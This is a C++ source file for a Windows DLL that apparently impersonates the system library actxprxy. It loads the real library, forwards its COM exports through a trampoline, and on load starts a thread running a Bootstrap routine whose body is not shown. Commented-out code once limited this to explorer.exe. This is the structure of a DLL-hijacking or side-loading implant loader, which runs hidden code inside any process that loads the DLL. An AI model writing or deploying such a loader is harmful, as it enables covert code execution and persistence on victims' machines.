// dllmain.cpp : Defines the entry point for the DLL application.
//#include "stdafx.h"
#ifndef _EXESTANDALONE

#include <Windows.h>
#include <Userenv.h>
#include <Psapi.h>
#include "Actproxy.h"
#include "Main.h"

#ifdef _DEBUG
#include <stdio.h>
LPSTR GetUserHomeDir2();
#endif

HANDLE hThread = NULL;

BOOL bLoaded = FALSE;

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	/* locals */
	HMODULE hActxprxy = NULL;
	DWORD dwOut;
	LPSTR szHome;

	OutputDebugStringA("[*] DllMain\n");

	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:

		if (!bLoaded)
		{
//#ifdef _DEBUG
//			szHome = GetUserHomeDir2();
//			CHAR szLogFile[MAX_PATH];
//			_snprintf_s(szLogFile, MAX_PATH, _TRUNCATE, "%s\\lotus_log.txt", szHome);
//			hLog = CreateFile(szLogFile, FILE_GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
//			WriteFile(hLog, "Loading\n", 4, &dwOut, NULL);
//#endif

			hActxprxy = LoadLibrary("actxprxy");

			if (hActxprxy != NULL)
			{
				trampoline.pDllCanUnloadNow = (fpDllCanUnloadNow)GetProcAddress(hActxprxy, "DllCanUnloadNow");
				trampoline.pDllGetClassObject = (fpDllGetClassObject)GetProcAddress(hActxprxy, "DllGetClassObject");
				trampoline.pDllRegisterServer = (fpDllRegisterServer)GetProcAddress(hActxprxy, "DllRegisterServer");
				trampoline.pDllUnregisterServer = (fpDllUnregisterServer)GetProcAddress(hActxprxy, "DllUnregisterServer");
				trampoline.pGetProxyDllInfo = (fpGetProxyDllInfo)GetProcAddress(hActxprxy, "GetProxyDllInfo");
			}

			/*WriteFile(hLog, trampoline.pDllCanUnloadNow, 4, &dwOut, NULL);
			WriteFile(hLog, trampoline.pDllGetClassObject, 4, &dwOut, NULL);
			WriteFile(hLog, trampoline.pDllRegisterServer, 4, &dwOut, NULL);
			WriteFile(hLog, trampoline.pDllUnregisterServer, 4, &dwOut, NULL);
			WriteFile(hLog, trampoline.pGetProxyDllInfo, 4, &dwOut, NULL);*/

			CHAR szProcessModulePath[MAX_PATH];
			ZeroMemory(szProcessModulePath, sizeof(szProcessModulePath));

			HANDLE hProcess = GetCurrentProcess();
			GetModuleBaseName(hProcess, NULL, szProcessModulePath, MAX_PATH - 1);
			CloseHandle(hProcess);

//#ifdef _DEBUG
//			WriteFile(hLog, szProcessModulePath, sizeof(szProcessModulePath), &dwOut, NULL);
//
//#endif

			/*if (!strcmp(szProcessModulePath, "explorer.exe"))
			{
			DWORD dwThreadId;
			CreateThread(NULL, 0, Bootstrap, NULL, 0, &dwThreadId);
			}*/

			// DBG
			OutputDebugStringA("CreateThread\n");
			DWORD dwThreadId;
			hThread = CreateThread(NULL, 0, Bootstrap, NULL, 0, &dwThreadId);
			OutputDebugStringA("[*] Bailing\n");
			bLoaded = TRUE;
		}
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}

	
	return TRUE;
}

#ifdef _DEBUG
LPSTR GetUserHomeDir2()
{
	LPSTR szHomeDirBuf = (LPSTR)malloc(MAX_PATH * sizeof(CHAR));

	HANDLE hToken = 0;
	OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
	
	DWORD BufSize = MAX_PATH;
	GetUserProfileDirectory(hToken, szHomeDirBuf, &BufSize);

	CloseHandle(hToken);
	return szHomeDirBuf;
}
#endif

#endif

int Dummy()
{
	OutputDebugStringA("[*] Waiting for main thread\n");
	WaitForSingleObject(hThread, INFINITE);
	OutputDebugStringA("[*] Main thread bail\n");

	return 0;
}